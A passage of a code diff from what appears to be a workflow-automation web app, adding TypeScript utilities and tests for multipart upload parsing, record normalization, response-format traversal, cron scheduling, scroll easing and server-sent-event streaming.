export interface MultipartFilePart {
/** The multipart field name that carried the file (expected: `file`). */
fieldName: string
filename: string
mimeType: string
/**
* The file bytes. The caller MUST fully consume or `destroy()` this stream
* (use a `finally`) or the request will hang. On overflow of `maxFileBytes`
* the stream is destroyed with a {@link MultipartError} (`FILE_TOO_LARGE`).
*/
stream: Readable
}
export interface ParsedMultipart {
/** Text fields that arrived before the file part, keyed by field name. */
fields: Record<string, string>
/** The single file part, or `null` if the body had no file part. */
file: MultipartFilePart | null
}
export interface ReadMultipartOptions {
/** Per-file byte cap. Overflow destroys the file stream with `FILE_TOO_LARGE`. */
maxFileBytes: number
/**
* Field names that must arrive before the file part. If the file part is
* seen while any are still missing, the parse rejects with `FIELD_AFTER_FILE`.
*/
requiredFieldsBeforeFile?: string[]
/** Field name expected to carry the file. Defaults to `file`. */
fileFieldName?: string
/** Abort signal — cancels parsing and destroys the underlying stream. */
signal?: AbortSignal
}
interface MultipartRequest {
headers: Headers
body: ReadableStream<Uint8Array> | null
}
/**
* Parse a `multipart/form-data` request as a stream. Resolves as soon as the
* file-part header is seen (text fields collected up to that point are in
* `fields`); the file bytes are NOT yet consumed — the caller drives
* `result.file.stream`.
*
* Pre-file failures reject the returned promise; failures that happen while the
* file streams (size limit, mid-body parse errors, abort) are surfaced as an
* error on `result.file.stream`.
*/
export function readMultipart(
request: MultipartRequest,
options: ReadMultipartOptions
): Promise<ParsedMultipart> {
const { maxFileBytes, requiredFieldsBeforeFile = [], fileFieldName = 'file', signal } = options
return new Promise<ParsedMultipart>((resolve, reject) => {
const contentType = request.headers.get('content-type')
if (!contentType || !contentType.toLowerCase().includes('multipart/form-data')) {
reject(new MultipartError('NOT_MULTIPART', 'Expected multipart/form-data request'))
return
}
if (!request.body) {
reject(new MultipartError('NO_BODY', 'Request has no body'))
return
}
let bb: busboy.Busboy
try {
bb = busboy({
headers: { 'content-type': contentType },
limits: { fileSize: maxFileBytes, files: 1 },
})
} catch (err) {
reject(new MultipartError('NOT_MULTIPART', getErrorMessage(err, 'Invalid multipart request')))
return
}
// double-cast-allowed: the web ReadableStream on request.body isn't structurally assignable to the Node type Readable.fromWeb expects
const nodeStream = Readable.fromWeb(request.body as unknown as NodeReadableStream<Uint8Array>)
const fields: Record<string, string> = {}
let settled = false
let fileSeen = false
const onAbort = () => {
const reason = signal?.reason instanceof Error ? signal.reason : new Error('Aborted')
nodeStream.destroy(reason)
bb.destroy()
if (!settled) {
settled = true
reject(reason)
}
}
const cleanup = () => {
signal?.removeEventListener('abort', onAbort)
}
const settle = (fn: () => void) => {
if (settled) return
settled = true
cleanup()
fn()
}
if (signal?.aborted) {
// `destroy()` with no reason emits 'close', not an unhandled 'error'.
nodeStream.destroy()
settled = true
reject(signal.reason instanceof Error ? signal.reason : new Error('Aborted'))
return
}
signal?.addEventListener('abort', onAbort, { once: true })
bb.on('field', (name, value) => {
fields[name] = value
})
bb.on('file', (name, stream, info) => {
if (settled || fileSeen) {
stream.resume()
return
}
fileSeen = true
if (name !== fileFieldName) {
stream.resume()
nodeStream.destroy()
settle(() =>
reject(
new MultipartError('NO_FILE', `Expected file field "${fileFieldName}", got "${name}"`)
)
)
return
}
const missing = requiredFieldsBeforeFile.filter((field) => !(field in fields))
if (missing.length > 0) {
stream.resume()
nodeStream.destroy()
settle(() =>
reject(
new MultipartError(
'FIELD_AFTER_FILE',
`Field(s) must precede the file in the request body: ${missing.join(', ')}`
)
)
)
return
}
stream.once('limit', () => {
stream.destroy(
new MultipartError('FILE_TOO_LARGE', `File exceeds maximum size of ${maxFileBytes} bytes`)
)
})
settle(() => {
// settle() detached the pre-file abort handler. Re-arm one scoped to the file stream so a
// client disconnect mid-upload tears it down — otherwise the caller's consume loop hangs
// until maxDuration. Detach when the stream closes so it can't fire afterward.
if (signal) {
const onStreamAbort = () => {
const reason = signal.reason instanceof Error ? signal.reason : new Error('Aborted')
stream.destroy(reason)
nodeStream.destroy(reason)
bb.destroy()
}
if (signal.aborted) onStreamAbort()
else {
signal.addEventListener('abort', onStreamAbort, { once: true })
stream.once('close', () => signal.removeEventListener('abort', onStreamAbort))
}
}
resolve({
fields,
file: { fieldName: name, filename: info.filename, mimeType: info.mimeType, stream },
})
})
})
bb.on('error', (err) => {
const message = getErrorMessage(err, 'Failed to parse multipart body')
settle(() => reject(new MultipartError('PARSE_ERROR', message)))
})
bb.on('close', () => {
if (!fileSeen) {
settle(() => reject(new MultipartError('NO_FILE', 'No file part in multipart body')))
}
})
nodeStream.on('error', (err) => {
settle(() =>
reject(
err instanceof MultipartError
? err
: new MultipartError('PARSE_ERROR', getErrorMessage(err, 'Failed to read request body'))
)
)
})
nodeStream.pipe(bb)
})
}
+8
View File
@@ -0,0 +1,8 @@
/**
* Detects whether the current platform is macOS/iOS.
* Returns false during SSR.
*/
export function isMacPlatform(): boolean {
if (typeof window === 'undefined') return false
return /Mac|iPhone|iPod|iPad/i.test(navigator.userAgent)
}
@@ -0,0 +1,14 @@
import { isValidElement, type ReactNode } from 'react'
/**
* Recursively extracts plain text content from a React node tree.
*/
export function extractTextContent(node: ReactNode): string {
if (typeof node === 'string') return node
if (typeof node === 'number') return String(node)
if (!node) return ''
if (Array.isArray(node)) return node.map(extractTextContent).join('')
if (isValidElement(node))
return extractTextContent((node.props as { children?: ReactNode }).children)
return ''
}
+56
View File
@@ -0,0 +1,56 @@
import { describe, expect, it } from 'vitest'
import {
normalizeRecord,
normalizeRecordMap,
normalizeStringRecord,
normalizeWorkflowVariables,
} from '@/lib/core/utils/records'
describe('record normalization utilities', () => {
it('normalizes unknown values to object records', () => {
expect(normalizeRecord({ value: 1 })).toEqual({ value: 1 })
expect(normalizeRecord([])).toEqual({})
expect(normalizeRecord('not-a-record')).toEqual({})
})
it('normalizes string records for environment-like values', () => {
expect(
normalizeStringRecord({
TOKEN: 'secret',
RETRIES: 3,
ENABLED: true,
EMPTY: null,
})
).toEqual({
TOKEN: 'secret',
RETRIES: '3',
ENABLED: 'true',
})
expect(normalizeStringRecord([])).toEqual({})
})
it('normalizes record maps by dropping malformed entries', () => {
expect(
normalizeRecordMap({
valid: { type: 'string' },
invalid: [],
})
).toEqual({
valid: { type: 'string' },
})
})
it('normalizes legacy workflow variable arrays into records', () => {
const variableWithId = { id: 'var-1', name: 'brand', type: 'plain', value: 'myfitness' }
const variableWithName = { name: 'channel', type: 'plain', value: 'whatsapp' }
expect(normalizeWorkflowVariables([variableWithId, variableWithName, []])).toEqual({
'var-1': variableWithId,
channel: variableWithName,
})
expect(normalizeWorkflowVariables({ existing: variableWithId })).toEqual({
existing: variableWithId,
})
expect(normalizeWorkflowVariables('not-a-record')).toEqual({})
})
})
+80
View File
@@ -0,0 +1,80 @@
import { isPlainRecord } from '@sim/utils/object'
export type UnknownRecord = Record<string, unknown>
export type StringRecord = Record<string, string>
/**
* Normalizes optional execution context maps to the record shape expected by
* internal API contracts.
*/
export function normalizeRecord(value: unknown): UnknownRecord {
return isPlainRecord(value) ? value : {}
}
/**
* Normalizes environment-like maps to string values, matching process/env
* semantics at execution boundaries.
*/
export function normalizeStringRecord(value: unknown): StringRecord {
if (!isPlainRecord(value)) {
return {}
}
const normalized: StringRecord = {}
for (const [key, entryValue] of Object.entries(value)) {
if (entryValue === undefined || entryValue === null) {
continue
}
normalized[key] = typeof entryValue === 'string' ? entryValue : String(entryValue)
}
return normalized
}
/**
* Normalizes record-of-record maps such as block output schema maps.
*/
export function normalizeRecordMap(value: unknown): Record<string, UnknownRecord> {
if (!isPlainRecord(value)) {
return {}
}
const normalized: Record<string, UnknownRecord> = {}
for (const [key, entryValue] of Object.entries(value)) {
if (isPlainRecord(entryValue)) {
normalized[key] = entryValue
}
}
return normalized
}
/**
* Workflow variables are stored as a record in current state, while some
* legacy and imported snapshots can carry an array of variable objects.
*/
export function normalizeWorkflowVariables(value: unknown): UnknownRecord {
if (isPlainRecord(value)) {
return value
}
if (!Array.isArray(value)) {
return {}
}
const normalized: UnknownRecord = {}
for (const variable of value) {
if (!isPlainRecord(variable)) {
continue
}
const id = typeof variable.id === 'string' && variable.id.trim() ? variable.id : undefined
const name =
typeof variable.name === 'string' && variable.name.trim() ? variable.name : undefined
const key = id ?? name
if (key) {
normalized[key] = variable
}
}
return normalized
}
+27
View File
@@ -0,0 +1,27 @@
import { getRequestContext } from '@sim/logger'
import { generateId } from '@sim/utils/id'
/**
* Generate a short request ID for correlation. If called inside a request
* context (see `withRouteHandler` and `runWithRequestContext`), returns the
* active request's ID so inline `[${requestId}]` log prefixes align with
* the auto-attached `{requestId=...}` logger metadata.
*/
export function generateRequestId(): string {
return getRequestContext()?.requestId ?? generateId().slice(0, 8)
}
/**
* Extract the client IP from a request, checking `x-forwarded-for` then `x-real-ip`.
*/
export function getClientIp(request: { headers: { get(name: string): string | null } }): string {
return (
request.headers.get('x-forwarded-for')?.split(',')[0]?.trim() ||
request.headers.get('x-real-ip')?.trim() ||
'unknown'
)
}
/**
* No-operation function for use as default callback
*/
export const noop = () => {}
@@ -0,0 +1,58 @@
/**
* @vitest-environment node
*/
import { describe, expect, it } from 'vitest'
import { extractFieldValues, traverseObjectPath } from '@/lib/core/utils/response-format'
import {
LARGE_ARRAY_MANIFEST_VERSION,
type LargeArrayManifest,
} from '@/lib/execution/payloads/large-array-manifest-metadata'
function createManifest(totalCount = 100_000): LargeArrayManifest {
return {
__simLargeArrayManifest: true,
version: LARGE_ARRAY_MANIFEST_VERSION,
kind: 'array',
totalCount,
chunkCount: 1,
byteSize: 12 * 1024 * 1024,
chunks: [
{
count: totalCount,
byteSize: 12 * 1024 * 1024,
ref: {
__simLargeValueRef: true,
version: 1,
id: 'lv_ABCDEFGHIJKL',
kind: 'array',
size: 12 * 1024 * 1024,
executionId: 'execution-1',
},
},
],
preview: [{ key: 'SIM-0' }],
}
}
describe('response format traversal', () => {
it('returns whole large array manifest metadata without materializing chunks', () => {
const manifest = createManifest()
expect(traverseObjectPath({ output: { rows: manifest } }, 'output.rows')).toEqual(manifest)
})
it('returns manifest totalCount for length selections', () => {
const manifest = createManifest()
expect(traverseObjectPath({ output: { rows: manifest } }, 'output.rows.length')).toBe(100_000)
expect(
extractFieldValues({ output: { rows: manifest } }, ['block-1_output.rows.length'], 'block-1')
).toEqual({ 'output.rows.length': 100_000 })
})
it('does not perform indexed manifest reads in sync traversal', () => {
const manifest = createManifest()
expect(traverseObjectPath({ output: { rows: manifest } }, 'output.rows.0.key')).toBeUndefined()
})
})
+242
View File
@@ -0,0 +1,242 @@
import { createLogger } from '@sim/logger'
import { materializeLargeValueRefSyncOrThrow } from '@/lib/execution/payloads/cache'
import { isLargeArrayManifest } from '@/lib/execution/payloads/large-array-manifest-metadata'
import { isLargeValueRef } from '@/lib/execution/payloads/large-value-ref'
const logger = createLogger('ResponseFormatUtils')
export interface Field {
name: string
type: string
description?: string
}
/**
* Helper function to extract fields from JSON Schema
* Handles both legacy format with fields array and new JSON Schema format
*/
export function extractFieldsFromSchema(schema: any): Field[] {
if (!schema || typeof schema !== 'object') {
return []
}
// Handle legacy format with fields array
if (Array.isArray(schema.fields)) {
return schema.fields
}
// Handle new JSON Schema format
const schemaObj = schema.schema || schema
if (!schemaObj || !schemaObj.properties || typeof schemaObj.properties !== 'object') {
return []
}
// Extract fields from schema properties
return Object.entries(schemaObj.properties).map(([name, prop]: [string, any]) => {
// Handle array format like ['string', 'array']
if (Array.isArray(prop)) {
return {
name,
type: prop.includes('array') ? 'array' : prop[0] || 'string',
description: undefined,
}
}
// Handle object format like { type: 'string', description: '...' }
return {
name,
type: prop.type || 'string',
description: prop.description,
}
})
}
/**
* Helper function to safely parse response format
* Handles both string and object formats
*/
export function parseResponseFormatSafely(
responseFormatValue: any,
blockId: string,
options?: { allowReferences?: boolean }
): any {
if (!responseFormatValue) {
return null
}
const allowReferences = options?.allowReferences ?? false
try {
if (typeof responseFormatValue === 'string') {
const trimmedValue = responseFormatValue.trim()
if (trimmedValue === '') return null
if (allowReferences && trimmedValue.startsWith('<') && trimmedValue.includes('>')) {
return trimmedValue
}
return JSON.parse(trimmedValue)
}
return responseFormatValue
} catch (error) {
logger.warn(`Failed to parse response format for block ${blockId}:`, error)
return null
}
}
/**
* Extract field values from a parsed JSON object based on selected output paths
* Used for both workspace and chat client field extraction
*/
export function extractFieldValues(
parsedContent: any,
selectedOutputs: string[],
blockId: string
): Record<string, any> {
const extractedValues: Record<string, any> = {}
for (const outputId of selectedOutputs) {
const blockIdForOutput = extractBlockIdFromOutputId(outputId)
if (blockIdForOutput !== blockId) {
continue
}
const path = extractPathFromOutputId(outputId, blockIdForOutput)
if (path) {
const current = traverseObjectPathInternal(parsedContent, path)
if (current !== undefined) {
extractedValues[path] = current
}
}
}
return extractedValues
}
/**
* Format extracted field values for display
* Returns formatted string representation of field values
*/
export function formatFieldValues(extractedValues: Record<string, any>): string {
const formattedValues: string[] = []
for (const [fieldName, value] of Object.entries(extractedValues)) {
const formattedValue = typeof value === 'string' ? value : JSON.stringify(value)
formattedValues.push(formattedValue)
}
return formattedValues.join('\n')
}
/**
* Extract block ID from output ID
* Handles both formats: "blockId" and "blockId_path" or "blockId.path"
*/
export function extractBlockIdFromOutputId(outputId: string): string {
return outputId.includes('_') ? outputId.split('_')[0] : outputId.split('.')[0]
}
/**
* Extract path from output ID after the block ID
*/
export function extractPathFromOutputId(outputId: string, blockId: string): string {
return outputId.substring(blockId.length + 1)
}
/**
* Parse JSON content from output safely
* Handles both string and object formats with proper error handling
*/
export function parseOutputContentSafely(output: any): any {
if (!output?.content) {
return output
}
if (typeof output.content === 'string') {
try {
return JSON.parse(output.content)
} catch (e) {
// Fallback to original structure if parsing fails
return output
}
}
return output
}
/**
* Check if a set of output IDs contains response format selections for a specific block
*/
export function hasResponseFormatSelection(selectedOutputs: string[], blockId: string): boolean {
return selectedOutputs.some((outputId) => {
const blockIdForOutput = extractBlockIdFromOutputId(outputId)
return blockIdForOutput === blockId && outputId.includes('_')
})
}
/**
* Get selected field names for a specific block from output IDs
*/
export function getSelectedFieldNames(selectedOutputs: string[], blockId: string): string[] {
return selectedOutputs
.filter((outputId) => {
const blockIdForOutput = extractBlockIdFromOutputId(outputId)
return blockIdForOutput === blockId && outputId.includes('_')
})
.map((outputId) => extractPathFromOutputId(outputId, blockId))
}
/**
* Internal helper to traverse an object path without parsing
* @param obj The object to traverse
* @param path The dot-separated path (e.g., "result.data.value")
* @returns The value at the path, or undefined if path doesn't exist
*/
function traverseObjectPathInternal(obj: any, path: string): any {
if (!path) return obj
let current = obj
const parts = path.split('.')
for (const part of parts) {
if (isLargeValueRef(current)) {
current = materializeLargeValueRefSyncOrThrow(current)
}
if (isLargeArrayManifest(current)) {
if (part === 'length' || part === 'totalCount') {
current = current.totalCount
continue
}
if (part === 'chunkCount' || part === 'byteSize' || part === 'preview') {
current = current[part]
continue
}
return undefined
}
if (current?.[part] !== undefined) {
current = current[part]
} else {
return undefined
}
}
if (isLargeValueRef(current)) {
return current
}
return current
}
/**
* Traverses an object path safely, returning undefined if any part doesn't exist
* Automatically handles parsing of output content if needed
* @param obj The object to traverse (may contain unparsed content)
* @param path The dot-separated path (e.g., "result.data.value")
* @returns The value at the path, or undefined if path doesn't exist
*/
export function traverseObjectPath(obj: any, path: string): any {
const parsed = parseOutputContentSafely(obj)
return traverseObjectPathInternal(parsed, path)
}
@@ -0,0 +1,32 @@
/**
* @vitest-environment node
*/
import { describe, expect, it, vi } from 'vitest'
import { generateRestoreName } from '@/lib/core/utils/restore-name'
describe('generateRestoreName', () => {
it('returns original when unused', async () => {
const nameExists = vi.fn().mockResolvedValue(false)
await expect(generateRestoreName('doc.pdf', nameExists, { hasExtension: true })).resolves.toBe(
'doc.pdf'
)
expect(nameExists).toHaveBeenCalledWith('doc.pdf')
})
it('uses _restored suffix when original is taken', async () => {
const nameExists = vi
.fn()
.mockImplementation(async (name: string) => name === 'Notes' || name === 'Notes_restored')
await expect(generateRestoreName('Notes', nameExists)).resolves.toMatch(
/^Notes_restored_[a-f0-9]{6}$/
)
})
it('throws after max hash attempts when all candidates exist', async () => {
const nameExists = vi.fn().mockResolvedValue(true)
await expect(generateRestoreName('x', nameExists)).rejects.toThrow(
'Could not generate a unique restore name'
)
})
})
+44
View File
@@ -0,0 +1,44 @@
import { randomBytes } from 'crypto'
const HASH_ATTEMPTS = 8
/**
* Generates a unique name for a restored entity by trying in order:
* 1. The original name
* 2. `name_restored` (inserted before file extension when `hasExtension` is true)
* 3. `name_restored_{6-char hex}` — retries random suffixes until one is free
*/
export async function generateRestoreName(
originalName: string,
nameExists: (name: string) => Promise<boolean>,
options?: { hasExtension?: boolean }
): Promise<string> {
if (!(await nameExists(originalName))) {
return originalName
}
const restoredName = addSuffix(originalName, '_restored', options?.hasExtension)
if (!(await nameExists(restoredName))) {
return restoredName
}
for (let i = 0; i < HASH_ATTEMPTS; i++) {
const hash = randomBytes(3).toString('hex')
const candidate = addSuffix(originalName, `_restored_${hash}`, options?.hasExtension)
if (!(await nameExists(candidate))) {
return candidate
}
}
throw new Error(`Could not generate a unique restore name for "${originalName}"`)
}
function addSuffix(name: string, suffix: string, hasExtension?: boolean): string {
if (hasExtension) {
const dotIndex = name.lastIndexOf('.')
if (dotIndex > 0) {
return `${name.slice(0, dotIndex)}${suffix}${name.slice(dotIndex)}`
}
}
return `${name}${suffix}`
}
+51
View File
@@ -0,0 +1,51 @@
/**
* Converts schedule options to a cron expression
*/
export function convertScheduleOptionsToCron(
scheduleType: string,
options: Record<string, string>
): string {
switch (scheduleType) {
case 'minutes': {
const interval = options.minutesInterval || '15'
// For example, if options.minutesStartingAt is provided, use that as the start minute.
return `*/${interval} * * * *`
}
case 'hourly': {
// When scheduling hourly, take the specified minute offset
return `${options.hourlyMinute || '00'} * * * *`
}
case 'daily': {
// Expected dailyTime in HH:MM
const [minute, hour] = (options.dailyTime || '00:09').split(':')
return `${minute || '00'} ${hour || '09'} * * *`
}
case 'weekly': {
// Expected weeklyDay as MON, TUE, etc. and weeklyDayTime in HH:MM
const dayMap: Record<string, number> = {
MON: 1,
TUE: 2,
WED: 3,
THU: 4,
FRI: 5,
SAT: 6,
SUN: 0,
}
const day = dayMap[options.weeklyDay || 'MON']
const [minute, hour] = (options.weeklyDayTime || '00:09').split(':')
return `${minute || '00'} ${hour || '09'} * * ${day}`
}
case 'monthly': {
// Expected monthlyDay and monthlyTime in HH:MM
const day = options.monthlyDay || '1'
const [minute, hour] = (options.monthlyTime || '00:09').split(':')
return `${minute || '00'} ${hour || '09'} ${day} * *`
}
case 'custom': {
// Use the provided cron expression directly
return options.cronExpression
}
default:
throw new Error('Unsupported schedule type')
}
}
@@ -0,0 +1,92 @@
/**
* Fraction of the remaining gap to close per frame while chasing the bottom —
* an exponential glide (originating in the subagent viewport's stick-to-bottom,
* see BoundedViewport in agent-group.tsx) instead of snapping `scrollTop` to
* `scrollHeight` on every content append. Closes ~90% of any gap within ~18
* frames (~300ms) — deliberately lazier than the subagent viewport's 0.18 so a
* large content burst reads as a calm upward drift of the transcript rather
* than a lurch.
*/
export const SMOOTH_CHASE_RATE = 0.12
/** Gap (px) below which the chase parks until new growth reopens it. */
export const CHASE_REST_GAP = 0.5
export interface SmoothBottomChaseTarget {
/** Current scroll offset. */
getTop: () => number
/** Scroll offset at which the viewport bottom meets the content bottom. */
getBottomTop: () => number
/** Apply a new scroll offset. */
setTop: (top: number) => void
}
export interface SmoothBottomChaseHandle {
/** True while a chase frame is scheduled (gap still closing). */
isActive: () => boolean
/** Start the loop if parked. Call after content growth. */
kick: () => void
cancel: () => void
}
/**
* Eased stick-to-bottom chase over any scrollable target (a DOM element or an
* editor API like Monaco's). Each frame closes {@link SMOOTH_CHASE_RATE} of the
* remaining gap and self-parks at {@link CHASE_REST_GAP}; content growth
* restarts it via `kick()`.
*
* Self-interrupting: chase writes only ever move the offset down, and content
* growth leaves it where the last write put it — so an offset that moved UP
* since the last write can only be a user scrolling away, and the loop parks
* instead of fighting them. `shouldContinue` layers any caller-owned stickiness
* on top (checked every frame).
*/
export function createSmoothBottomChase(
target: SmoothBottomChaseTarget,
shouldContinue: () => boolean = () => true
): SmoothBottomChaseHandle {
let raf: number | null = null
let lastTop: number | null = null
const park = () => {
if (raf !== null) cancelAnimationFrame(raf)
raf = null
lastTop = null
}
const step = () => {
// `raf` deliberately keeps this (already-fired) frame's id while the step
// body runs: canceling a fired handle is a no-op, and a non-null `raf`
// means `isActive()` stays true and a reentrant `kick()` — e.g. from a
// target whose `setTop` fires synchronous scroll listeners, like Monaco's
// onDidScrollChange — cannot start a second parallel chain.
if (!shouldContinue()) {
park()
return
}
const top = target.getTop()
if (lastTop !== null && top < lastTop - 1) {
park()
return
}
const gap = target.getBottomTop() - top
if (gap <= CHASE_REST_GAP) {
park()
return
}
target.setTop(top + Math.max(1, gap * SMOOTH_CHASE_RATE))
// A synchronous side-effect of `setTop` may have called `cancel()`; honor
// it instead of re-queuing over it.
if (raf === null) return
lastTop = target.getTop()
raf = requestAnimationFrame(step)
}
return {
isActive: () => raf !== null,
kick: () => {
if (raf === null) raf = requestAnimationFrame(step)
},
cancel: park,
}
}
+658
View File
@@ -0,0 +1,658 @@
/**
* @vitest-environment node
*/
import { describe, expect, it, vi } from 'vitest'
import {
encodeSSE,
readSSEEvents,
readSSELines,
readSSEStream,
SSE_HEADERS,
} from '@/lib/core/utils/sse'
function createStreamFromChunks(chunks: Uint8Array[]): ReadableStream<Uint8Array> {
let index = 0
return new ReadableStream({
pull(controller) {
if (index < chunks.length) {
controller.enqueue(chunks[index])
index++
} else {
controller.close()
}
},
})
}
function createSSEChunk(data: object): Uint8Array {
return new TextEncoder().encode(`data: ${JSON.stringify(data)}\n\n`)
}
describe('SSE_HEADERS', () => {
it.concurrent('should have correct Content-Type', () => {
expect(SSE_HEADERS['Content-Type']).toBe('text/event-stream')
})
it.concurrent('should have correct Cache-Control', () => {
expect(SSE_HEADERS['Cache-Control']).toBe('no-cache')
})
it.concurrent('should have Connection keep-alive', () => {
expect(SSE_HEADERS.Connection).toBe('keep-alive')
})
it.concurrent('should disable buffering', () => {
expect(SSE_HEADERS['X-Accel-Buffering']).toBe('no')
})
})
describe('encodeSSE', () => {
it.concurrent('should encode data as SSE format', () => {
const data = { chunk: 'hello' }
const result = encodeSSE(data)
const decoded = new TextDecoder().decode(result)
expect(decoded).toBe('data: {"chunk":"hello"}\n\n')
})
it.concurrent('should handle complex objects', () => {
const data = { chunk: 'test', nested: { value: 123 } }
const result = encodeSSE(data)
const decoded = new TextDecoder().decode(result)
expect(decoded).toBe('data: {"chunk":"test","nested":{"value":123}}\n\n')
})
it.concurrent('should handle strings with special characters', () => {
const data = { chunk: 'Hello, 世界! 🌍' }
const result = encodeSSE(data)
const decoded = new TextDecoder().decode(result)
expect(decoded).toContain('Hello, 世界! 🌍')
})
})
describe('readSSEStream', () => {
it.concurrent('should accumulate content from chunks', async () => {
const chunks = [
createSSEChunk({ chunk: 'Hello' }),
createSSEChunk({ chunk: ' World' }),
createSSEChunk({ done: true }),
]
const stream = createStreamFromChunks(chunks)
const result = await readSSEStream(stream)
expect(result).toBe('Hello World')
})
it.concurrent('should call onChunk callback for each chunk', async () => {
const onChunk = vi.fn()
const chunks = [createSSEChunk({ chunk: 'A' }), createSSEChunk({ chunk: 'B' })]
const stream = createStreamFromChunks(chunks)
await readSSEStream(stream, { onChunk })
expect(onChunk).toHaveBeenCalledTimes(2)
expect(onChunk).toHaveBeenNthCalledWith(1, 'A')
expect(onChunk).toHaveBeenNthCalledWith(2, 'B')
})
it.concurrent('should call onAccumulated callback with accumulated content', async () => {
const onAccumulated = vi.fn()
const chunks = [createSSEChunk({ chunk: 'A' }), createSSEChunk({ chunk: 'B' })]
const stream = createStreamFromChunks(chunks)
await readSSEStream(stream, { onAccumulated })
expect(onAccumulated).toHaveBeenCalledTimes(2)
expect(onAccumulated).toHaveBeenNthCalledWith(1, 'A')
expect(onAccumulated).toHaveBeenNthCalledWith(2, 'AB')
})
it.concurrent('should skip [DONE] messages', async () => {
const encoder = new TextEncoder()
const chunks = [createSSEChunk({ chunk: 'content' }), encoder.encode('data: [DONE]\n\n')]
const stream = createStreamFromChunks(chunks)
const result = await readSSEStream(stream)
expect(result).toBe('content')
})
it.concurrent('should skip lines with error field', async () => {
const chunks = [
createSSEChunk({ error: 'Something went wrong' }),
createSSEChunk({ chunk: 'valid content' }),
]
const stream = createStreamFromChunks(chunks)
const result = await readSSEStream(stream)
expect(result).toBe('valid content')
})
it.concurrent('should handle abort signal', async () => {
const controller = new AbortController()
controller.abort()
const chunks = [createSSEChunk({ chunk: 'content' })]
const stream = createStreamFromChunks(chunks)
const result = await readSSEStream(stream, { signal: controller.signal })
expect(result).toBe('')
})
it.concurrent('should skip unparseable lines', async () => {
const encoder = new TextEncoder()
const chunks = [encoder.encode('data: invalid-json\n\n'), createSSEChunk({ chunk: 'valid' })]
const stream = createStreamFromChunks(chunks)
const result = await readSSEStream(stream)
expect(result).toBe('valid')
})
describe('multi-byte UTF-8 character handling', () => {
it.concurrent('should handle Turkish characters split across chunks', async () => {
const text = 'Merhaba dünya! Öğretmen şarkı söyledi.'
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
const bytes = new TextEncoder().encode(fullData)
const splitPoint = Math.floor(bytes.length / 2)
const chunk1 = bytes.slice(0, splitPoint)
const chunk2 = bytes.slice(splitPoint)
const stream = createStreamFromChunks([chunk1, chunk2])
const result = await readSSEStream(stream)
expect(result).toBe(text)
})
it.concurrent('should handle emoji split across chunks', async () => {
const text = 'Hello 🚀 World 🌍 Test 🎯'
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
const bytes = new TextEncoder().encode(fullData)
const emojiIndex = fullData.indexOf('🚀')
const byteOffset = new TextEncoder().encode(fullData.slice(0, emojiIndex)).length
const splitPoint = byteOffset + 2
const chunk1 = bytes.slice(0, splitPoint)
const chunk2 = bytes.slice(splitPoint)
const stream = createStreamFromChunks([chunk1, chunk2])
const result = await readSSEStream(stream)
expect(result).toBe(text)
})
it.concurrent('should handle CJK characters split across chunks', async () => {
const text = '你好世界!日本語テスト。한국어도 됩니다.'
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
const bytes = new TextEncoder().encode(fullData)
const third = Math.floor(bytes.length / 3)
const chunk1 = bytes.slice(0, third)
const chunk2 = bytes.slice(third, third * 2)
const chunk3 = bytes.slice(third * 2)
const stream = createStreamFromChunks([chunk1, chunk2, chunk3])
const result = await readSSEStream(stream)
expect(result).toBe(text)
})
it.concurrent('should handle mixed multi-byte content split at byte boundaries', async () => {
const text = 'Ö is Turkish, 中 is Chinese, 🎉 is emoji'
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
const bytes = new TextEncoder().encode(fullData)
const chunks: Uint8Array[] = []
for (let i = 0; i < bytes.length; i += 3) {
chunks.push(bytes.slice(i, Math.min(i + 3, bytes.length)))
}
const stream = createStreamFromChunks(chunks)
const result = await readSSEStream(stream)
expect(result).toBe(text)
})
it.concurrent('should handle SSE message split across chunks', async () => {
const encoder = new TextEncoder()
const message1 = { chunk: 'First' }
const message2 = { chunk: 'Second' }
const fullText = `data: ${JSON.stringify(message1)}\n\ndata: ${JSON.stringify(message2)}\n\n`
const bytes = encoder.encode(fullText)
const delimiterIndex = fullText.indexOf('\n\n') + 1
const byteOffset = encoder.encode(fullText.slice(0, delimiterIndex)).length
const chunk1 = bytes.slice(0, byteOffset)
const chunk2 = bytes.slice(byteOffset)
const stream = createStreamFromChunks([chunk1, chunk2])
const result = await readSSEStream(stream)
expect(result).toBe('FirstSecond')
})
it.concurrent('should handle 2-byte UTF-8 character (Ö) split at byte boundary', async () => {
const text = 'AÖB'
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
const bytes = new TextEncoder().encode(fullData)
const textStart = fullData.indexOf('"') + 1 + text.indexOf('Ö')
const byteOffset = new TextEncoder().encode(fullData.slice(0, textStart)).length
const chunk1 = bytes.slice(0, byteOffset + 1)
const chunk2 = bytes.slice(byteOffset + 1)
const stream = createStreamFromChunks([chunk1, chunk2])
const result = await readSSEStream(stream)
expect(result).toBe(text)
})
it.concurrent(
'should handle 3-byte UTF-8 character (中) split at byte boundaries',
async () => {
const text = 'A中B'
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
const bytes = new TextEncoder().encode(fullData)
const textStart = fullData.indexOf('"') + 1 + text.indexOf('中')
const byteOffset = new TextEncoder().encode(fullData.slice(0, textStart)).length
const chunk1 = bytes.slice(0, byteOffset + 1)
const chunk2 = bytes.slice(byteOffset + 1, byteOffset + 2)
const chunk3 = bytes.slice(byteOffset + 2)
const stream = createStreamFromChunks([chunk1, chunk2, chunk3])
const result = await readSSEStream(stream)
expect(result).toBe(text)
}
)
it.concurrent(
'should handle 4-byte UTF-8 character (🚀) split at byte boundaries',
async () => {
const text = 'A🚀B'
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
const bytes = new TextEncoder().encode(fullData)
const textStart = fullData.indexOf('"') + 1 + text.indexOf('🚀')
const byteOffset = new TextEncoder().encode(fullData.slice(0, textStart)).length
const chunk1 = bytes.slice(0, byteOffset + 1)
const chunk2 = bytes.slice(byteOffset + 1, byteOffset + 2)
const chunk3 = bytes.slice(byteOffset + 2, byteOffset + 3)
const chunk4 = bytes.slice(byteOffset + 3)
const stream = createStreamFromChunks([chunk1, chunk2, chunk3, chunk4])
const result = await readSSEStream(stream)
expect(result).toBe(text)
}
)
})
describe('SSE message buffering', () => {
it.concurrent('should handle incomplete SSE message waiting for more data', async () => {
const encoder = new TextEncoder()
const chunk1 = encoder.encode('data: {"chu')
